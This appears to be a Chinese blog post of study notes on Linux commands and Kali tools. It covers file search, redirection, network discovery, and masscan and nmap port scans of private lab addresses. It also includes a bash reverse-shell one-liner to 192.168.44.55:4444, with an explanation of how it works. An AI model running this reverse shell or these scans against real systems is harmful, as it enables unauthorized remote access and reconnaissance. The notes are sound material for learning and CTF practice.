linux和kali的一些命令
linux
目录解释:
/var/www/html:把文件放入到这个目录下,打开apache2后,可以通过网页访问(而且要启动httpd服务,上网找)
命令解释:
ls -l 文件名:查看文件权限
history:查看历史记录
unzip [选项] 压缩包名:查看和解压缩 zip 文件
find / -name fiag*:查找/目录下名字是flag的 ( find 命令用来在指定目录下查找文件)
grep :(用于查找内容包含指定的范本样式的文件)语法:grep [-abcEFGhHilLnqrsvVwxy][-A<显示行数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范本样式>][-f<范本文件>][--help][范本样式][文件或目录...]
whoami:查看自己目前是什么用户
符合解释:
>:重定向符,将一个东西到另一个(当里面有东西时,就会覆盖)
>> :重定向符,将一个东西到另一个(当有东西是,就会叠加)
0:文件描述符,表示标准输入,对应宏为:STDIN_FILENO
1:文件描述符,表示标准输出,对应宏为:STDOUT_FILENO
2:文件描述符,表示标准出错处理,对应的宏为:STDERR_NO
__________________________________________________________________________________________________
kali
arp-scan -l :可以扫描这个局域网内的其他ip
masscan --rate=1000 -p 0-65535 192.168.44.52 :masscan是这个插件名字,--rate表示指定发包的速率,-p表示指定端口进行扫描(这里指定了0到65535端口),192.168.44.52表示要扫描的ip
nmap -T4 -sV -O -p 445,143,22,8080,80,500,8081,139,443 192.168.44.52:nmap插件名,-T4设置计时模板(越高速度越快),-sV探测打开的端口以确定服务/版本信息,-O启用操作系统检测,-p仅扫描指定的端口,192.168.44.52表示要扫描的ip
bash -i >& /dev/tcp/192.168.44.55/4444 0>&1
bash -i :创建一个交互式的bash 、>&:将输出重定向文件、 /dev/tcp:文件不支持,但是打开该文件相当于发起了socket,建立了一个连接 、/192.168.44.55/4444:表示socke连接的ip和端口、 0>&1:表示标志输入重定向到标志输出,即我们可以远程输入,并且可以得到远程输出
netdiscover -i eth0 -r 192.168.44.0/24
主机发现:netdiscover :表示使用的工具、-i eth0:表示网络接口、-r:扫描范围
nmap 192.168.44.55 --script=http-methods.nse --script-args=http.methods.url-path="/test"
nmap:使用的插件、192.168.44.55:要进行扫描的ip、--script:指定使用Lua脚本进行扫描、--script-args:指定脚本的参数
扫描/test页面的支持的http方法
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· AI 智能体引爆开源社区「GitHub 热点速览」
· 写一个简单的SQL生成工具